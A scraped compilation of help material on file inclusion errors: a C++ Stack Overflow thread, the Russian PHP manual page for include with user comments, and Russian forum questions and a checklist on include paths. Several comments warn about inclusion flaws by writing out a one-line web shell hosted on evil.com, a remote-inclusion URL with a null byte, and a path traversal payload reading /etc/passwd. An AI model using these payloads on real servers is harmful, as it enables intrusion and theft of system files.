Ошибка include не найден файл

I keep getting this error with these lines of code:

include <iostream>

int main()
    {

        cout << "Hello World" >>;
        system("pause");
        return 0;
    }

«The system cannot find the file specified»

enter image description here

asked Jul 30, 2013 at 12:15

Mr. Supasheva's user avatar

Mr. SupashevaMr. Supasheva

1831 gold badge2 silver badges13 bronze badges

4

The system cannot find the file specified usually means the build failed (which it will for your code as you’re missing a # infront of include, you have a stray >> at the end of your cout line and you need std:: infront of cout) but you have the ‘run anyway’ option checked which means it runs an executable that doesn’t exist. Hit F7 to just do a build and make sure it says ‘0 errors’ before you try running it.

Code which builds and runs:

#include <iostream>

int main()
{
   std::cout << "Hello World";
   system("pause");
   return 0;
}

answered Jul 30, 2013 at 12:20

Mike Vine's user avatar

Mike VineMike Vine

9,19425 silver badges43 bronze badges

The code should be :

#include <iostream>
using namespace std;

int main() {
    cout << "Hello World";
    return 0;
}

Or maybe :

#include <iostream>

int main() {
    std::cout << "Hello World";
    return 0;
}

Just a quick note: I have deleted the system command, because I heard it’s not a good practice to use it. (but of course, you can add it for this kind of program)

answered Jul 30, 2013 at 12:22

Rak's user avatar

5

I had a same problem and this fixed it:

You should add:

C:Program Files (x86)Microsoft SDKsWindowsv7.1ALibx64 for 64 bit system

C:Program Files (x86)Microsoft SDKsWindowsv7.1ALib for 32 bit system

in Property Manager>Linker>General>Additional Library Directories

JustinJDavies's user avatar

answered Sep 6, 2014 at 15:19

hani89's user avatar

Another take on this that hasn’t been mentioned here is that, when in debug, the project may build, but it won’t run, giving the error message displayed in the question.

If this is the case, another option to look at is the output file versus the target file. These should match.

A quick way to check the output file is to go to the project’s property pages, then go to Configuration Properties -> Linker -> General (In VS 2013 — exact path may vary depending on IDE version).

There is an «Output File» setting. If it is not $(OutDir)$(TargetName)$(TargetExt), then you may run into issues.

This is also discussed in more detail here.

Community's user avatar

answered Aug 19, 2016 at 15:18

Aaron Thomas's user avatar

Aaron ThomasAaron Thomas

5,0048 gold badges42 silver badges89 bronze badges

This is because you have not compiled it. Click ‘Project > compile’. Then, either click ‘start debugging’, or ‘start without debugging’.

PPCMD's user avatar

answered Jan 1, 2014 at 13:11

anushang's user avatar

1

I resolved this issue after deleting folder where I was trying to add the file in Visual Studio. Deleted folder from window explorer also. After doing all this, successfully able to add folder and file.

answered Jan 22, 2021 at 7:40

Vinay Pal's user avatar

I was getting the error because of two things.

  1. I opened an empty project

  2. I didn’t add #include «stdafx.h»

It ran successfully on the win 32 console.

Sabito stands with Ukraine's user avatar

answered Jul 30, 2013 at 13:12

Mr. Supasheva's user avatar

Mr. SupashevaMr. Supasheva

1831 gold badge2 silver badges13 bronze badges

(PHP 4, PHP 5, PHP 7, PHP 8)

Выражение include включает и выполняет
указанный файл.

Документация ниже также относится к выражению require.

Файлы включаются исходя из пути указанного файла, или, если путь не указан,
используется путь, указанный в директиве include_path. Если файл
не найден в include_path,
include попытается проверить директорию, в которой находится текущий включающий скрипт
и текущую рабочую директорию перед тем, как выдать ошибку. Конструкция
include выдаст E_WARNING, если
не сможет найти файл; поведение отлично от require, который выдаст
E_ERROR.

Обратите внимание, что и include и require
выдают дополнительную ошибку уровня E_WARNING, если к файлу невозможно
получить доступ, перед тем, как выдать последнюю ошибку уровня
E_WARNING или E_ERROR соответственно.

Если путь указан — абсолютный (начинающийся с буквы диска или с
в Windows или с / в Unix/Linux
системах) или относительно текущей директории (начинающийся с
. или ..) —
include_path будет проигнорирован вообще.
Например, если имя файла начинается с ../,
парсер будет искать в родительской директории запрошенный файл.

Для дополнительной информации о том, как PHP обрабатывает включаемые файлы и включаемые пути,
смотрите документацию для директивы include_path.

Когда файл включается, его код наследует ту же
область видимости переменных, что
и строка, на которой произошло включение. Все переменные, доступные на этой строке
во включающем файле, будут также доступны во включаемом файле.
Однако все функции и классы, объявленные во включаемом файле, имеют
глобальную область видимости.

Пример #1 Простой пример include


vars.php
<?php

$color

= 'зелёное';
$fruit = 'яблоко';?>

test.php
<?phpecho "Одно $color $fruit"; // Одноinclude 'vars.php';

echo

"Одно $color $fruit"; // Одно зелёное яблоко?>

Если включение происходит внутри функции включающего файла,
тогда весь код, содержащийся во включаемом файле, будет вести себя так,
как будто он был определён внутри этой функции. То есть, он будет в той же области видимости
переменных этой функции.
Исключением к этому правилу являются магические константы, которые
выполняются парсером перед тем, как происходит включение.

Пример #2 Включение внутри функции


<?phpfunction foo()
{
global
$color;

include

'vars.php';

echo

"Одно $color $fruit";
}
/* vars.php в той же области видимости, что и foo(), *
* поэтому $fruit НЕ будет доступен за пределами этой области *
* $color доступен, поскольку мы объявили переменную глобальной */
foo(); // Одно зелёное яблоко
echo "Одно $color $fruit"; // Одно зелёное?>

Когда файл включается, парсинг в режиме PHP-кода прекращается и переключается
в режим HTML в начале указанного файла и продолжается
снова в конце. По этой причине любой код внутри включаемого файла,
который должен быть выполнен как код PHP, должен быть заключён в
корректные теги начала и конца PHP-кода.

Если «обёртки URL include»
включены в PHP, вы можете также указать файл для включения через URL (с помощью HTTP или
других поддерживающихся обработчиков — смотрите Поддерживаемые протоколы и обёртки для списка
протоколов) вместо локального пути. Если целевой сервер интерпретирует
указанный файл как код PHP, переменные могут быть переданы во включаемый файл
с помощью строки URL-запроса при использовании HTTP GET. Это совсем не то же самое,
что включение файла и наследование родительской области видимости; скрипт
выполняется на удалённом сервере, и результат затем
включается в локальный скрипт.

Пример #3 Пример include через HTTP


<?php/* В этом примере предполагается, что www.example.com настроен на обработку .php
* файлов, но не .txt. Также, 'Сработает' обозначает, что переменные
* $foo и $bar доступны внутри включаемого файла. */

// Не сработает; file.txt не обрабатывается www.example.com как PHP

include 'http://www.example.com/file.txt?foo=1&bar=2';// Не сработает; будет искать файл 'file.php?foo=1&bar=2' в
// локальной файловой системе.
include 'file.php?foo=1&bar=2';// Сработает.
include 'http://www.example.com/file.php?foo=1&bar=2';
?>

Внимание

Предупреждение безопасности

Удалённые файлы могут быть обработаны на удалённой стороне (в зависимости от
расширения файла и того, что удалённый сервер выполняет скрипты PHP или нет), но это всё равно
должно производить корректный скрипт PHP, потому что он будет затем обработан уже на
локальном сервере. Если файл с удалённого сервера должен быть обработан
и только отображён его результат, гораздо эффективно воспользоваться функцией readfile()
В противном случае следует соблюдать особую осторожность, чтобы обезопасить
удалённый скрипт для получения корректного и желаемого кода.

Смотрите также раздел Удалённые файлы, функции
fopen() и file() для дополнительной
информации.

Обработка возвращаемых значений: оператор include возвращает
значение FALSE в случае возникновения ошибки и выдаёт предупреждение. Успешные
включения, пока это не переопределено во включаемом файле, возвращают значение
1. Возможно выполнить выражение return
внутри включаемого файла, чтобы завершить процесс выполнения в
этом файле и вернуться к выполнению включающего файла. Кроме того, возможно вернуть
значение из включаемых файлов. Вы можете получить значение включения, как
если бы вы вызвали обычную функцию. Хотя это невозможно при включении
удалённого файла, только если вывод удалённого файла не содержит
корректные теги начала и конца PHP
кода (так же, как и локальный файл). Вы можете определить необходимые
переменные внутри этих тегов и они будут представлены в зависимости от того,
какой файл был выключен.

Так как include — это специальная языковая конструкция,
круглые скобки не обязательны вокруг аргумента. Будьте внимательны при сравнении
возвращаемого значения.

Пример #4 Сравнение возвращаемого значения при include


<?php
// не сработает, интерпретируется как include(('vars.php') == TRUE), то есть include('1')
if (include('vars.php') == TRUE) {
echo
'OK';
}
// сработает
if ((include 'vars.php') == TRUE) {
echo
'OK';
}
?>

Пример #5 Выражения include и return


return.php
<?php

$var

= 'PHP';

return

$var;?>

noreturn.php
<?php

$var

= 'PHP';?>

testreturns.php
<?php

$foo

= include 'return.php';

echo

$foo; // выведет 'PHP'$bar = include 'noreturn.php';

echo

$bar; // выведет 1?>

$bar имеет значение 1, т.к. включение файла произошло
успешно. Заметьте разницу между примерами сверху. Первый использует
return внутри включаемого файла, тогда как второй не использует.
Если файл не может быть включён, возвращается false и возникает
E_WARNING.

Если во включаемом файле определены функции, они могут быть использованы в
главном файле вне зависимости от того, были ли они объявлены до return или после.
Если файл включается дважды, PHP выдаст фатальную ошибку, потому что функции
уже были определены.
Рекомендуется использовать include_once вместо того, чтобы
проверять был ли файл уже включён.

Другой путь «включить» PHP-файл в переменную — это захватить
вывод с помощью функций контроля вывода
вместе с include. Например:

Пример #6 Использование буферизации вывода для включения файла PHP в строку


<?php
$string
= get_include_contents('somefile.php');

function

get_include_contents($filename) {
if (
is_file($filename)) {
ob_start();
include
$filename;
return
ob_get_clean();
}
return
false;
}
?>

Для того, чтобы включать файлы автоматически в скрипты, обратите внимание на конфигурационные директивы
auto_prepend_file и
auto_append_file
в php.ini.

Замечание: Поскольку это языковая конструкция, а не функция, она не может вызываться при помощи переменных функций или именованных аргументов.

Смотрите также require, require_once,
include_once, get_included_files(),
readfile(), virtual() и
include_path.

snowyurik at gmail dot com

14 years ago


This might be useful:
<?php
include $_SERVER['DOCUMENT_ROOT']."/lib/sample.lib.php";
?>
So you can move script anywhere in web-project tree without changes.

Rash

8 years ago


If you want to have include files, but do not want them to be accessible directly from the client side, please, please, for the love of keyboard, do not do this:

<?php# index.php
define('what', 'ever');
include
'includeFile.php';# includeFile.php

// check if what is defined and die if not

?>

The reason you should not do this is because there is a better option available. Move the includeFile(s) out of the document root of your project. So if the document root of your project is at "/usr/share/nginx/html", keep the include files in "/usr/share/nginx/src".

<?php# index.php (in document root (/usr/share/nginx/html))include __DIR__ . '/../src/includeFile.php';?>

Since user can't type 'your.site/../src/includeFile.php', your includeFile(s) would not be accessible to the user directly.

John Carty

6 years ago


Before using php's include, require, include_once or require_once statements, you should learn more about Local File Inclusion (also known as LFI) and Remote File Inclusion (also known as RFI).

As example #3 points out, it is possible to include a php file from a remote server.

The LFI and RFI vulnerabilities occur when you use an input variable in the include statement without proper input validation.  Suppose you have an example.php with code:

<?php
// Bad Code
$path = $_GET['path'];
include
$path . 'example-config-file.php';
?>

As a programmer, you might expect the user to browse to the path that you specify.

However, it opens up an RFI vulnerability.  To exploit it as an attacker, I would first setup an evil text file with php code on my evil.com domain.

evil.txt
<?php echo shell_exec($_GET['command']);?>

It is a text file so it would not be processed on my server but on the target/victim server.  I would browse to:
h t t p : / / w w w .example.com/example.php?command=whoami& path= h t t p : / / w w w .evil.com/evil.txt%00

The example.php would download my evil.txt and process the operating system command that I passed in as the command variable.  In this case, it is whoami.  I ended the path variable with a %00, which is the null character.  The original include statement in the example.php would ignore the rest of the line.  It should tell me who the web server is running as.

Please use proper input validation if you use variables in an include statement.

Anon

11 years ago


I cannot emphasize enough knowing the active working directory. Find it by: echo getcwd();
Remember that if file A includes file B, and B includes file C; the include path in B should take into account that A, not B, is the active working directory.

error17191 at gmail dot com

7 years ago


When including a file using its name directly without specifying we are talking about the current working directory, i.e. saying (include "file") instead of ( include "./file") . PHP will search first in the current working directory (given by getcwd() ) , then next searches for it in the directory of the script being executed (given by __dir__).
This is an example to demonstrate the situation :
We have two directory structure :
-dir1
----script.php
----test
----dir1_test
-dir2
----test
----dir2_test

dir1/test contains the following text :
This is test in dir1
dir2/test contains the following text:
This is test in dir2
dir1_test contains the following text:
This is dir1_test
dir2_test contains the following text:
This is dir2_test

script.php contains the following code:
<?phpecho 'Directory of the current calling script: ' . __DIR__;
echo
'<br />';
echo
'Current working directory: ' . getcwd();
echo
'<br />';
echo
'including "test" ...';
echo
'<br />';
include
'test';
echo
'<br />';
echo
'Changing current working directory to dir2';
chdir('../dir2');
echo
'<br />';
echo
'Directory of the current calling script: ' . __DIR__;
echo
'<br />';
echo
'Current working directory: ' . getcwd();
echo
'<br />';
echo
'including "test" ...';
echo
'<br />';
include
'test';
echo
'<br />';
echo
'including "dir2_test" ...';
echo
'<br />';
include
'dir2_test';
echo
'<br />';
echo
'including "dir1_test" ...';
echo
'<br />';
include
'dir1_test';
echo
'<br />';
echo
'including "./dir1_test" ...';
echo
'<br />';
(@include
'./dir1_test') or die('couldn't include this file ');
?>
The output of executing script.php is :

Directory of the current calling script: C:devwwwphp_experimentsworking_directoryexample2dir1
Current working directory: C:devwwwphp_experimentsworking_directoryexample2dir1
including "test" ...
This is test in dir1
Changing current working directory to dir2
Directory of the current calling script: C:devwwwphp_experimentsworking_directoryexample2dir1
Current working directory: C:devwwwphp_experimentsworking_directoryexample2dir2
including "test" ...
This is test in dir2
including "dir2_test" ...
This is dir2_test
including "dir1_test" ...
This is dir1_test
including "./dir1_test" ...
couldn't include this file

Wade.

14 years ago


If you're doing a lot of dynamic/computed includes (>100, say), then you may well want to know this performance comparison: if the target file doesn't exist, then an @include() is *ten* *times* *slower* than prefixing it with a file_exists() check. (This will be important if the file will only occasionally exist - e.g. a dev environment has it, but a prod one doesn't.)

Wade.

Rick Garcia

15 years ago


As a rule of thumb, never include files using relative paths. To do this efficiently, you can define constants as follows:

----
<?php // prepend.php - autoprepended at the top of your tree
define('MAINDIR',dirname(__FILE__) . '/');
define('DL_DIR',MAINDIR . 'downloads/');
define('LIB_DIR',MAINDIR . 'lib/');
?>
----

and so on. This way, the files in your framework will only have to issue statements such as this:

<?php
require_once(LIB_DIR . 'excel_functions.php');
?>

This also frees you from having to check the include path each time you do an include.

If you're running scripts from below your main web directory, put a prepend.php file in each subdirectory:

--
<?php
include(dirname(dirname(__FILE__)) . '/prepend.php');
?>
--

This way, the prepend.php at the top always gets executed and you'll have no path handling headaches. Just remember to set the auto_prepend_file directive on your .htaccess files for each subdirectory where you have web-accessible scripts.

jbezorg at gmail dot com

5 years ago


Ideally includes should be kept outside of the web root. That's not often possible though especially when distributing packaged applications where you don't know the server environment your application will be running in. In those cases I use the following as the first line.

( __FILE__ != $_SERVER['SCRIPT_FILENAME'] ) or exit ( 'No' );

Ray.Paseur often uses Gmail

8 years ago


It's worth noting that PHP provides an OS-context aware constant called DIRECTORY_SEPARATOR.  If you use that instead of slashes in your directory paths your scripts will be correct whether you use *NIX or (shudder) Windows.  (In a semi-related way, there is a smart end-of-line character, PHP_EOL)

Example:
<?php
$cfg_path
= 'includes'
. DIRECTORY_SEPARATOR
. 'config.php'
;
require_once(
$cfg_path);

anonphpuser

7 months ago


In the Example #2 Including within functions, the last two comments should be reversed I believe.

Chris Bell

13 years ago


A word of warning about lazy HTTP includes - they can break your server.

If you are including a file from your own site, do not use a URL however easy or tempting that may be. If all of your PHP processes are tied up with the pages making the request, there are no processes available to serve the include. The original requests will sit there tying up all your resources and eventually time out.

Use file references wherever possible. This caused us a considerable amount of grief (Zend/IIS) before I tracked the problem down.

sPlayer

12 years ago


Sometimes it will be usefull to include a string as a filename

<?php
//get content$cFile = file_get_contents('crypted.file');//decrypt the content$content = decrypte($cFile);
//include thisinclude("data://text/plain;base64,".base64_encode($content));//orinclude("data://text/plain,".urlencode($content));?>

joe dot naylor at gmail dot com

12 years ago


Be very careful with including files based on user inputed data.  For instance, consider this code sample:

index.php:
<?php
$page
= $_GET['page'];
if (
file_exists('pages/'.$page.'.php'))
{
   include(
'pages/'.$page.'.php');
}
?>

Then go to URL:
index.php?page=/../../../../../../etc/passwd%00.html

file_exists() will return true, your passwd file will be included and since it's not php code it will be output directly to the browser.

Of course the same vulnerability exists if you are reading a file to display, as in a templating engine.

You absolutely have to sanitize any input string that will be used to access the filesystem, you can't count on an absolute path or appended file extension to secure it.  Better yet, know exactly what options you can accept and accept only those options.

hyponiq at gmail dot com

13 years ago


I would like to point out the difference in behavior in IIS/Windows and Apache/Unix (not sure about any others, but I would think that any server under Windows will be have the same as IIS/Windows and any server under Unix will behave the same as Apache/Unix) when it comes to path specified for included files.

Consider the following:
<?php
include '/Path/To/File.php';
?>

In IIS/Windows, the file is looked for at the root of the virtual host (we'll say C:ServerSitesMySite) since the path began with a forward slash.  This behavior works in HTML under all platforms because browsers interpret the / as the root of the server.

However, Unix file/folder structuring is a little different.  The / represents the root of the hard drive or current hard drive partition.  In other words, it would basically be looking for root:/Path/To/File.php instead of serverRoot:/Path/To/File.php (which we'll say is /usr/var/www/htdocs).  Thusly, an error/warning would be thrown because the path doesn't exist in the root path.

I just thought I'd mention that.  It will definitely save some trouble for those users who work under Windows and transport their applications to an Unix-based server.

A work around would be something like:
<?php
$documentRoot
= null;

if (isset(

$_SERVER['DOCUMENT_ROOT'])) {
   
$documentRoot = $_SERVER['DOCUMENT_ROOT'];

        if (

strstr($documentRoot, '/') || strstr($documentRoot, '')) {
        if (
strstr($documentRoot, '/')) {
           
$documentRoot = str_replace('/', DIRECTORY_SEPARATOR, $documentRoot);
        }
        elseif (
strstr($documentRoot, '')) {
           
$documentRoot = str_replace('', DIRECTORY_SEPARATOR, $documentRoot);
        }
    }

        if (

preg_match('/[^/]{1}[^/]{1}/', $documentRoot)) {
       
$documentRoot = preg_replace('/([^/]{1})([^/]{1})/', '1DIR_SEP2', $documentRoot);
       
$documentRoot = str_replace('DIR_SEP', '\', $documentRoot);
    }
}
else {
   
/**
     * I usually store this file in the Includes folder at the root of my
     * virtual host. This can be changed to wherever you store this file.
     *
     * Example:
     * If you store this file in the Application/Settings/DocRoot folder at the
     * base of your site, you would change this array to include each of those
     * folders.
     *
     * <code>
     * $directories = array(
     *     'Application',
     *     'Settings',
     *     'DocRoot'
     * );
     * </code>
     */
   
$directories = array(
       
'Includes'
   
);

        if (

defined('__DIR__')) {
       
$currentDirectory = __DIR__;
    }
    else {
       
$currentDirectory = dirname(__FILE__);
    }
$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
   
$currentDirectory = $currentDirectory . DIRECTORY_SEPARATOR;

        foreach (

$directories as $directory) {
       
$currentDirectory = str_replace(
           
DIRECTORY_SEPARATOR . $directory . DIRECTORY_SEPARATOR,
           
DIRECTORY_SEPARATOR,
           
$currentDirectory
       
);
    }
$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
}
define('SERVER_DOC_ROOT', $documentRoot);
?>

Using this file, you can include files using the defined SERVER_DOC_ROOT constant and each file included that way will be included from the correct location and no errors/warnings will be thrown.

Example:
<?php
include SERVER_DOC_ROOT . '/Path/To/File.php';
?>

ayon at hyurl dot com

6 years ago


It is also able to include or open a file from a zip file:
<?php
include "something.zip#script.php";
echo
file_get_contents("something.zip#script.php");
?>
Note that instead of using / or , open a file from a zip file uses # to separate zip name and inner file's name.

mbread at m-bread dot com

16 years ago


If you have a problem with "Permission denied" errors (or other permissions problems) when including files, check:

1) That the file you are trying to include has the appropriate "r" (read) permission set, and
2) That all the directories that are ancestors of the included file, but not of the script including the file, have the appropriate "x" (execute/search) permission set.

example at user dot com

14 years ago


Just about any file type can be 'included' or 'required'.  By sending appropriate headers, like in the below example, the client would normally see the output in their browser as an image or other intended mime type.

You can also embed text in the output, like in the example below.  But an image is still an image to the client's machine.  The client must open the downloaded file as plain/text to see what you embedded.

<?php

header

('Content-type: image/jpeg');
header('Content-Disposition: inline;');

include

'/some_image.jpg';
echo
'This file was provided by example@user.com.';?>

Which brings us to a major security issue.  Scripts can be hidden within images or files using this method.  For example, instead echoing "<?php phpinfo(); ?>", a foreach/unlink loop through the entire filesystem, or some other method of disabling security on your machine.

'Including' any file made this way will execute those scripts.  NEVER 'include' anything that you found on the web or that users upload or can alter in any way.  Instead, use something a little safer to display the found file, like "echo file_get_contents('/some_image.jpg');"

durkboek A_T hotmail D_O_T com

19 years ago


I would like to emphasize the danger of remote includes. For example:
Suppose, we have a server A with Linux and PHP 4.3.0 or greater installed which has the file index.php with the following code:

<?php
// File: index.php
include ($_GET['id'].".php");
?>

This is, of course, not a very good way to program, but i actually found a program doing this.

Then, we hava a server B, also Linux with PHP installed, that has the file list.php with the following code:

<?php
// File: list.php
$output = "";
exec("ls -al",$output);
foreach(
$output as $line) {
echo
$line . "<br>n";
}
?>

If index.php on Server A is called like this: http://server_a/index.php?id=http://server_b/list
then Server B will execute list.php and Server A will include the output of Server B, a list of files.

But here's the trick: if Server B doesn't have PHP installed, it returns the file list.php to Server A, and Server A executes that file. Now we have a file listing of Server A!
I tried this on three different servers, and it allways worked.
This is only an example, but there have been hacks uploading files to servers etc.

So, allways be extremely carefull with remote includes.

abanarn at gmail dot com

8 years ago


To Windows coders, if you are upgrading from 5.3 to 5.4 or even 5.5; if you have have coded a path in your require or include you will have to be careful. Your code might not be backward compatible. To be more specific; the code escape for ESC, which is "e" was introduced in php 5.4.4 + but if you use 5.4.3 you should be fine. For instance:

Test script:
-------------
<?php
require("C:elementscriptsinclude.php");
?>

In php 5.3.* to php 5.4.3
----------------------------
If you use require("C:elementscriptsinclude.php")  it will work fine.

If php 5.4.4 + It will break.
------------------------------
Warning: require(C:←lementscriptsinclude.php): failed to open stream: In
valid argument in C:elementscriptsinclude.php on line 20

Fatal error: require(): Failed opening required 'C:←lementscriptsinclude.php

Solution:
-----------
Theoretically, you should be always using "" instead of "" when you write php in windows machine OR use "/" like in Linux and you should fine since "" is an escape character in most programming languages.
If you are not using absolute paths ; stream functions is your best friend like stream_resolve_include_path() , but you need to include the path you are resolving in you php.ini (include_path variable).

I hope this makes sense and I hope it will someone sometime down the road.
cheers,

james at gogo dot co dot nz

19 years ago


While you can return a value from an included file, and receive the value as you would expect, you do not seem to be able to return a reference in any way (except in array, references are always preserved in arrays).

For example, we have two files, file 1.php contains...
<?php
 
function &x(&$y)
  {
    return include(
dirname(__FILE__) . '/2.php');
  }
$z = "FOOn";
 
$z2 = &x($z);

  echo

$z2;
 
$z  = "NOOn";

    echo

$z2;
?>

and file 2.php contains...
<?php  return $y; ?>

calling 1.php will produce

FOO
FOO

i.e the reference passed to x() is broken on it's way out of the include()

Neither can you do something like <?php $foo =& include(....); ?> as that's a parse error (include is not a real function, so can't take a reference in that case).  And you also can't do <?php return &$foo ?> in the included file (parse error again, nothing to assign the reference too).

The only solutions are to set a variable with the reference which the including code can then return itself, or return an array with the reference inside.

---
James Sleeman
http://www.gogo.co.nz/

uramihsayibok, gmail, com

15 years ago


I have a need to include a lot of files, all of which are contained in one directory. Support for things like <?php include_once 'dir/*.php'; ?> would be nice, but it doesn't exist.

Therefore I wrote this quick function (located in a file automatically included by auto_prepend_file):
<?phpfunction include_all_once ($pattern) {
    foreach (
glob($pattern) as $file) { // remember the { and } are necessary!
       
include $file;
    }
}
// used like
include_all_once('dir/*.php');?>
A fairly obvious solution. It doesn't deal with relative file paths though; you still have to do that yourself.

Jero Minh

8 years ago


Notice that using @include (instead of include without @) will set the local value of error_reporting to 0 inside the included script.

Consider the following:
<?php
    ini_set
('error_reporting', E_ALL);

    echo

"Own value before: ";
    echo
ini_get('error_reporting');
    echo
"rn";

    echo

"include foo.php: ";
    include(
'foo.php');

    echo

"@include foo.php: ";
    @include(
'foo.php');

    echo

"Own value now: " . ini_get('error_reporting');
?>

foo.php
<?php
   
echo ini_get('error_reporting') . "rn";
?>

Output:
    Own value before: 32767
    include foo.php: 32767
    @include foo.php: 0
    Own value now: 32767

Here is the full context of the situation:

I recently got a new Mac, I’m a php developer so I downloaded MAMP and started developing.

First I noticed that my includes were not being included, but I changed that by configuring my php.ini.

However now, when I try to include a file with a function it does not recognize the function.

For example I have a file named functions.php:

<?php
function doit(){
    echo "did it";
}
?>

and a file that includes it called index.php

<?php include("functions.php"); doit();?>

and I get this error message

Fatal error: Call to undefined function doit() in index.php on line 4

Студворк — интернет-сервис помощи студентам

Создаю сайт, в дереве сайта создал папки( пишу то, что относится к проблеме ): include, pages. В корне сайта создал Index файл, в нем вывел всю нужную информацию, потом перенес все данные с Header в Header.php, Header.php закинул в Include, далее подключил его в Index файле(пробелы специально сейчас написал):

PHP
1
<?php include('/include/header.php'); ?>

Обновил страницу, все работает.
Далее создал новый файл в папке Pages и назвал его, к примеру, news.php. После чего открыл файл и подключил в нем Header.php таким образом:

PHP
1
<?php include('/include/header.php'); ?>

. После чего перешел в этот файл:

HTML5
1
site.domain/news.php

, мне вывелись ошибки, мол такого файла нет.
Начал гуглить, нагуглил такой способ, подключать инклюды так:

PHP
1
<?php include $_SERVER['DOCUMENT_ROOT'].('/include/header.php '); ?>

.Все заработало, но на локальном сервере ( на денвере работаю ), думал что все круто, перенес все на WEB, но там данный способ не захотел работать. В итоге, на WEB`е не сработали такие способы подключения include:

PHP
1
2
3
4
5
<?php include('/include/header.php'); ?>
<?php include('include / header.php '); ?>
<?php include $_SERVER['DOCUMENT_ROOT'].('/include/header.php'); ?>
<?php include ('http://').$_SERVER['HTTP_HOST'].('/include / header.php'); ?>
<?php require_once('/include/header.php'); ?>

Не работает в файлах, которые находятся в сторонних папках корня, к примеру Pages. В Index все работает, потому что он в корне лежит.
Задолбался уже искать ответы на свой вопрос. Нужна ваша помощь)

Здравствуйте.
Почему-то «include» не видит файл, который лежит на сервере.
Вот структура:
6368f8bad9f86617312111.jpeg
Выдаётся две ошибки:

Warning: include(/include/menu-top.php): failed to open stream: No such file or directory in D:OSPaneldomainsschoolhels.pcschoolschool_todayhistory.php on line 30

Warning: include(): Failed opening ‘/include/menu-top.php’ for inclusion (include_path=’.’) in D:OSPaneldomainsschoolhels.pcschoolschool_todayhistory.php on line 30

Если я уберу первый «/» в файле index.php, который лежит в корне, то в него подключается меню нормально. Т.е. относительный путь работает. Но т.к. вложенность файлов чудовищная, то нужно указать абсолютный путь в файлу меню.

В PHP скриптах, вызывая include()require()fopen() или их производные, такие как include_oncerequire_once или даже move_uploaded_file(), часто появляются ошибки или предупреждения:

Не удалось открыть поток: нет такого файла или каталога.

 Как быстро найти первопричину проблемы?

Ответ 1

Есть много причин, по которым можно столкнуться с этой ошибкой, и поэтому я дам контрольный список того, что необходимо проверить в первую очередь для решения этой ситуации.

Предположим, у нас есть следующая строка:

require «/path/to/file»

Контрольный список

1. Проверьте путь к файлу на предмет опечаток

  • проверьте вручную (визуально проверив путь);

  • переместите все, что вызывается с помощью require* или include* в переменную, скопируйте ее и попробуйте получить к ней доступ с терминала:

$path = «/path/to/file»;

echo «Path : $path»;

require «$path»;

Затем в терминале:

cat <file path pasted>

2. Убедитесь, что путь к файлу правильный с точки зрения относительного и абсолютного пути

  • если он начинается с косой черты «/», то это относится не к корню папки вашего веб-сайта (корень документа), а к корню вашего сервер:

    • например, каталог вашего веб-сайта может быть /users/tony/htdocs;

  • если он не начинается с косой черты, то он либо полагается на включаемый путь (см. ниже), либо путь является относительным. Если он относительный, то PHP будет его определять относительно пути к текущему рабочему каталогу:

    • не относительно пути к корню вашего веб-сайта или файла;

    • или всегда используйте абсолютные пути к файлам.

Чтобы сделать ваш скрипт надежным на случай, если вы что-то перемещаете, при этом создавая абсолютный путь во время выполнения, у вас есть 2 варианта:

  1. используйте require __DIR__.»/relative/path/from/current/file», который  возвращает каталог текущего файла;

  2. определите SITE_ROOT константу самостоятельно:

    • в корне каталога вашего веб-сайта создайте файл, например, config.php

    • в config.php напишите:

define(‘SITE_ROOT’, __DIR__);

  • в каждом файле, в котором вы хотите сослаться на корневую папку сайта, включите config.php и затем используйте SITE_ROOT константу везде, где хотите:

require_once __DIR__.»/../config.php»;

require_once SITE_ROOT.»/other/file.php»;

Эти действия делают ваше приложение более переносимым, поскольку они не зависят от настроек ini файла.

3. Проверьте свои пути включения

Другой способ включения файлов, ни относительный, ни абсолютный, — это полагаться на путь включения. Это часто бывает с библиотеками или фреймворками, такими как, например, Zend framework.

Подобное включение будет выглядеть так:

include «Zend/Mail/Protocol/Imap.php»

В этом случае вы должны убедиться, что папка, в которой находится «Zend», является частью пути включения.

Это можно проверить с помощью:

echo get_include_path();

Вы можете добавить в него папку с помощью:

set_include_path(get_include_path().»:».»/path/to/new/folder»);

4. Убедитесь, что у вашего сервера есть доступ к этому файлу

Может случиться так, что у пользователя, запускающего серверный процесс (Apache или PHP), просто нет разрешения на чтение или запись в этот файл.

Чтобы проверить, под каким пользователем запущен сервер, можно использовать posix_getpwuid :

$user = posix_getpwuid(posix_geteuid());

var_dump($user);

Чтобы узнать права доступа к файлу, введите в терминале следующую команду:

ls -l <path/to/file>

5. Проверьте настройки PHP

Если ничего из вышеперечисленного не помогло, проблема, вероятно, в том, что некоторые настройки PHP запрещают доступ к этому файлу.

Могут быть актуальны три настройки:

1. open_basedir

    • Если установлено, PHP не сможет получить доступ к любому файлу за пределами указанного каталога (даже через символическую ссылку).

    • По умолчанию не устанавливается, и в этом случае ограничений нет.

    • Можно проверить, вызвав phpinfo() или используя ini_get(«open_basedir»).

    • Вы можете изменить настройку, отредактировав файл php.ini или файл httpd.conf.

2. безопасный режим

    • Если включено, могут быть ограничения. Однако данный режим был удален в PHP 5.4. Если вы все еще используете версию, которая поддерживает безопасный режим, обновитесь до версии PHP, которая это еще поддерживает.

3. allow_url_fopen и allow_url_include

    • Относится только к включению или открытию файлов через сетевой процесс, такой как http://, но не работает для локальной файловой системы.

    • Эти опции можно проверить, используя ini_get(«allow_url_include») или установив с помощью ini_set(«allow_url_include», «1»).

Другие случаи

Если ничего из вышеперечисленного не помогло диагностировать проблему, могут возникнуть следующие особые ситуации:

1. Включение библиотеки на основе пути включения

Может случиться так, что вы подключаете библиотеку, например, платформу Zend, используя относительный или абсолютный путь. Например:

require «/usr/share/php/libzend-framework-php/Zend/Mail/Protocol/Imap.php»

Но по-прежнему получаете такую же ошибку.

Это могло произойти из-за того, что файл, который вы (успешно) включили, сам имеет оператор include для другого файла, и этот второй оператор include предполагает, что вы добавили путь этой библиотеки к пути включения.

Например, упомянутый ранее файл фреймворка Zend может включать следующее:

include «Zend/Mail/Protocol/Exception.php» 

что не является включением ни по относительному пути, ни по абсолютному пути. Предполагается, что каталог фреймворка Zend был добавлен в путь включения.

В таком случае единственное практическое решение — добавить каталог в ваш путь включения.

2. SELinux

Если вы используете Linux с усиленной безопасностью, причиной проблемы может быть отказ в доступе к файлу с сервера.

